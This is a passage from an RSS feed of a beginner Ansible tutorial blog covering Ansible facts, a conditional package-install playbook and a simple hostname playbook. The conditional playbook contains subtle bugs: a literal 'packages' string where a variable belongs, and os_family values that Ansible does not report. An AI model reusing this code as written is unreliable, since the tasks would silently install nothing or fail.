&lt;p&gt;We&amp;rsquo;ve talked about the variables we defined ourselves, but that&amp;rsquo;s not all variables Ansible has to offer. As mentioned earlier, Ansible comes &amp;ldquo;pre-built&amp;rdquo; with loads of variables that are being discovered from our hosts at run time.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Data learned &amp;ldquo;at run time&amp;rdquo; is dynamic and can change each time we run a playbook. An example of this would be a Fact storing the amount of disk space available on a host.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;To see all Facts available to us, we can run an ad-hoc Ansible script using the&lt;code&gt;setup&lt;/code&gt; module. Let&amp;rsquo;s run it now against our client machine:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;vlku@client.ansible.lab &lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;ansible localhost -m setup&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;localhost | SUCCESS =&amp;gt; {&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ansible_facts&amp;#34;: &lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ansible_all_ipv4_addresses&amp;#34;: &lt;/span&gt;[
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;192.168.122.1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;192.168.0.115&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;172.17.0.1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;172.18.0.1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ansible_all_ipv6_addresses&amp;#34;: &lt;/span&gt;[
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;fe80::b418:8106:9c33:4b6b&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ansible_apparmor&amp;#34;: &lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;status&amp;#34;: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;disabled&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ansible_architecture&amp;#34;: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;x86_64&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ansible_bios_date&amp;#34;: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;03/26/2020&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ansible_bios_version&amp;#34;: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1.5.1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;(...)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;pastebin with complete output&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;https://pastebin.com/9EQr2qEd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you can see, Ansible Facts can be used to retrieve pretty much every possible info about your hosts. For example, you could retrieve the main IP address of a host with: &lt;code&gt;{{ ansible_facts[&amp;quot;eth0&amp;quot;][&amp;quot;ipv4&amp;quot;][&amp;quot;address&amp;quot;] }}&lt;/code&gt; or &lt;code&gt;{{ ansible_facts.eth0.ipv4.address }}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;There are also &amp;ldquo;Special Facts&amp;rdquo; or &amp;ldquo;Special Variables&amp;rdquo;, but we&amp;rsquo;ll talk about these once we move on to writing advanced Ansible playbooks. If you&amp;rsquo;re really interested now, you can read about them &lt;a href=&#34;https://docs.ansible.com/ansible/latest/reference_appendices/special_variables.html&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;using-variables-and-facts-in-a-playbook&#34;&gt;Using variables and facts in a playbook&lt;/h2&gt;
&lt;p&gt;Right, that&amp;rsquo;s enough theory for now, let&amp;rsquo;s finish this lesson by writing a playbook using both variables and Ansible Facts.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s the scenario:&lt;/p&gt;
&lt;p&gt;In our inventory, we have both Red Hat and CentOS servers. These servers are not in any custom groups. We need to install httpd and httpd-tools on Red Hat boxes only, while vim, mysql and php should be exclusively installed on CentOS systems.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Install pkgs on specific OS only&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;hosts&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;all&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;become&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;yes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;tasks&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;install http pkgs on Red Hat&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;yum&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;packages&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;state&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;present&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;vars&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;packages&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        - &lt;span style=&#34;color:#ae81ff&#34;&gt;httpd&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        - &lt;span style=&#34;color:#ae81ff&#34;&gt;httpd-tools&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;when&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;ansible_facts[&amp;#39;os_family&amp;#39;] == &amp;#34;Red Hat&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;install vim on CentOS&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;yum&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;packages&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;state&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;present&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;vars&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;packages&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        - &lt;span style=&#34;color:#ae81ff&#34;&gt;vim&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        - &lt;span style=&#34;color:#ae81ff&#34;&gt;php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        - &lt;span style=&#34;color:#ae81ff&#34;&gt;mysql&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;when&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;ansible_facts[&amp;#39;os_family&amp;#39;] == &amp;#34;CentOS&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Right, we had to use a conditional here&amp;hellip; hopefully that&amp;rsquo;s easy enough to understand. The &lt;code&gt;when&lt;/code&gt; conditional checks if a given condition is met; module used in the same task as &lt;code&gt;when&lt;/code&gt; will only be executed if said condition is met. In this example, &lt;code&gt;yum&lt;/code&gt; will only run if &lt;code&gt;ansible_facts[&#39;os_family&#39;]&lt;/code&gt; matches the required OS name&amp;hellip; Again, we&amp;rsquo;ll discuss conditionals in detail as part of one of the future episodes.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Ansible for Dummies - Part 2</title>
      <link>/posts/220501-ansible-part-2/</link>
      <pubDate>Sun, 01 May 2022 00:00:00 +0000</pubDate>
      
      <guid>/posts/220501-ansible-part-2/</guid>
      <description>Update: Proving that you never stop learning, I actually made a mistake in the first example of the article. Used a loop instead of Ansible facts which made the playbook quite moronic!
Welcome to the first &amp;ldquo;real&amp;rdquo; post of the Ansible for Dummies series - in this episode, we&amp;rsquo;re going to look into the most important thing about Ansible - playbooks. If you haven&amp;rsquo;t read it yet, check out the previous A4D article here: Ansible for Dummies #0 - The Basics</description>
      <content>&lt;p&gt;&lt;em&gt;Update: Proving that you never stop learning, I actually made a mistake in the first example of the article. Used a loop instead of Ansible facts which made the playbook quite moronic!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Welcome to the first &amp;ldquo;real&amp;rdquo; post of the Ansible for Dummies series - in this episode, we&amp;rsquo;re going to look into the most important thing about Ansible - playbooks. If you haven&amp;rsquo;t read it yet, check out the previous A4D article here: &lt;a href=&#34;https://ssh.guru/ansible-for-dummies-0-the-basics/&#34;&gt;Ansible for Dummies #0 - The Basics&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;In short, a playbook is a list of tasks we are pushing to our hosts described in the Inventory. Each playbook consists of plays (which essentially is a sub-set of related tasks) which can be pretty much anything from the simple stuff like issuing a ping command to very complex such as creating new users based on a list of usernames and an encrypted table of passwords (Ansible Vault).&lt;/p&gt;
&lt;h2 id=&#34;our-first-playbook&#34;&gt;&lt;strong&gt;Our first playbook&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;We&amp;rsquo;ll begin by taking a look at a simple playbook which sole purpose is to change the hostname on our hosts:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Simple Playbook - Play 1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;hosts&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;all&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;become&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;yes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;tasks&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;set hostname on all 5 test servers&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;hostname&lt;/span&gt;: 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;test{{ play_hosts.index(inventory_hostname) }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you can see, the playbook is written in &lt;a href=&#34;https://yaml.org/&#34;&gt;YAML&lt;/a&gt; - a human-friendly data serialization standard. You don&amp;rsquo;t have to really learn YAML to write playbooks; all you need to remember is that whitespaces matter very much and that we begin new major lines with two additional spaces.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s break down our first playbook and go through it step-by-step:&lt;/p&gt;
&lt;h3 id=&#34;1-plays-header&#34;&gt;1) Play&amp;rsquo;s header&lt;/h3&gt;
&lt;p&gt;Note: the leading dashes are optional - it&amp;rsquo;s just a common way to begin a YAML file.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;- &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Simple Playbook - Play 1&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;hosts&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;all&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;become&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;yes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Each play in a playbook must begin with the two main items: &lt;code&gt;hosts&lt;/code&gt; and &lt;code&gt;tasks&lt;/code&gt;; any additional tags (in this case, &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;become&lt;/code&gt;) are optional:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;hosts&lt;/code&gt; - defines the host(s) which should be affected by the play; we can use either built-in Ansible groups such as &lt;code&gt;all&lt;/code&gt; (run against all hosts in the current inventory file), individual IPs and hostnames or group names defined in the inventory;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;tasks&lt;/code&gt; - is a list of individual tasks to be carried out as part of the play; each play has its own list of tasks to run. For instance, a play configuring a network could include a task for setting a hostname and a second task configuring the IP settings.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The two other tags used in this playbook - &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;become&lt;/code&gt; - are common enough for me to explain them at this time as well:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;name&lt;/code&gt; - while not mandatory, the &lt;code&gt;name&lt;/code&gt; tag is very useful as it allows us to add a label to each play (and task) which we&amp;rsquo;re going to run. A name we assign to a play or a task will be displayed in the terminal during the playbook&amp;rsquo;s execution;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;-&lt;code&gt;become&lt;/code&gt; - this simple tag is used to select whether the play should be run as a regular user or a superuser (root/administrator).&lt;/p&gt;
&lt;h3 id=&#34;2-tasks&#34;&gt;2) Tasks&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;tasks&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;set hostname on all 5 test servers&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;hostname&lt;/span&gt;: 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;test{{ play_hosts.index(inventory_hostname) }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the case of tasks, there is not a single rule on how they should be written down - it all depends on the modules you&amp;rsquo;d like to use &amp;amp; what&amp;rsquo;s the intended use-case.&lt;/p&gt;
&lt;p&gt;At the very basic level, all you need to add to the tasks list are the module names and their arguments. In this particular play, we&amp;rsquo;re using a &lt;code&gt;hostname&lt;/code&gt; module which requires just a single parameter &lt;code&gt;name&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The string for the tag is built of two parts - first, we&amp;rsquo;ve got a static &amp;ldquo;test&amp;rdquo; which will be the same for every host, while the second bit &lt;code&gt;{{ play_hosts.index(inventory_hostname) }}&lt;/code&gt;, is an Ansible fact returning an index number of the host currently being processed. By combining the two, the playbook will end up using &lt;code&gt;test1&lt;/code&gt; for the first host in the inventory, &lt;code&gt;test2&lt;/code&gt; for the seconds one and so on.&lt;/p&gt;
&lt;h3 id=&#34;3-summary&#34;&gt;3) Summary&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s step away from Ansible for a second. Think about the playbook on our hands as an email you&amp;rsquo;ve sent to a junior engineer with a task to carry out:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Right, so we need to change hostnames on all 5 of our test servers. Remember you will need to log in as root to do that. Use the hostname command on each box - it uses the desired hostname for the box as the only argument. I want you to set those hostnames to &amp;ldquo;test&amp;rdquo; followed by a sequence number.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Mr Ansible - our junior engineer - has then translated our email into his native language, YAML:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Right, we need to set the hostnames on all 5 of our test boxes&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;hosts&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;all&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Remember you will need to log in as root to do that.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;become&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;yes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Use the hostname command on each box. It uses a desired hostname for the box as the only argument&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;tasks&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  - &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;set hostname on all 5 test servers&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;hostname&lt;/span&gt;: 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;test{{ play_hosts.index(inventory_hostname) }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;I want you to set those hostnames to &amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;test&amp;#34; followed by a sequence number.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;name&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;test{{ play_hosts.index(inventory_hostname) }}&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Makes sense, right? That&amp;rsquo;s the beauty of YAML - you probably guessed most of what I wrote so far by just looking at the playbook. Fortunately, reading YAML is as simple as writing it and you&amp;rsquo;ll soon be spitting out new playbooks like a production line.&lt;/p&gt;
&lt;h3 id=&#34;4-running-a-playbook&#34;&gt;4) Running a Playbook&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s quickly run the playbook we wrote today on out Ansible client. For the purpose of this exercise, let&amp;rsquo;s assume we stuck with the default &lt;code&gt;ansible.cfg&lt;/code&gt; and our inventory is:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-yaml&#34; data-lang=&#34;yaml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;test]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;10.0.0.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;10.0.0.2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;10.0.0.3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;10.0.0.4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;10.0.0.5&lt;/span&gt;
